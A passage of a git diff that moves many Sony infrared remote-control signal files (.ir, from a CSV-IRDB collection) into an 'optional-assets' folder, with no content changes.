assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Player/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Player/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Player/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Player/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/57,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Player/57,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/57,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Player/57,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/81,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Player/81,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/81,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Player/81,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DAT/28,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DAT/28,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/DAT/28,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DAT/28,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DSP/26,233.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSP/26,233.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/DSP/26,233.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSP/26,233.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/DSS/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/11,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/11,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/DSS/11,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/11,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/183,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/183,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/DSS/183,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/183,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/23,133.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/23,133.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/DSS/23,133.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/23,133.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/DSS/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/5,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/5,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/DSS/5,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/5,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/DSS/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DSS/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DV Cam/185,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DV Cam/185,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/DV Cam/185,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DV Cam/185,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DV Cam/217,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DV Cam/217,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/DV Cam/217,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DV Cam/217,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DV Cam/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DV Cam/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/DV Cam/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DV Cam/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/164,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/164,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/164,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/164,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,218.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,218.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,218.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,218.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,73.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,73.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,73.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,73.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,83.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,83.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,83.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,83.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,98.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,98.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,98.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,98.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/11,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/11,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/11,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/11,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/121,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/121,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/121,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/121,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/13,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/13,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/13,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/13,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/144,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/144,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/144,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/144,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/176,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/176,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/176,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/176,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/18,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/18,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/18,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/18,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/23,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/23,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/23,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/23,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/26,66.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/26,66.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/26,66.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/26,66.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/26,73.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/26,73.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/26,73.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/26,73.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/36,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/36,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/36,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/36,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/48,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/48,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/48,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/48,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Receiver/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Surround Processor/26,233.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Surround Processor/26,233.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Surround Processor/26,233.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Surround Processor/26,233.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TV/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/TV/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TV/119,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/119,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/TV/119,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/119,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TV/151,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/151,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/TV/151,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/151,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TV/164,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/164,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/TV/164,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/164,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TV/183,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/183,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/TV/183,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/183,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TV/26,-1.ir 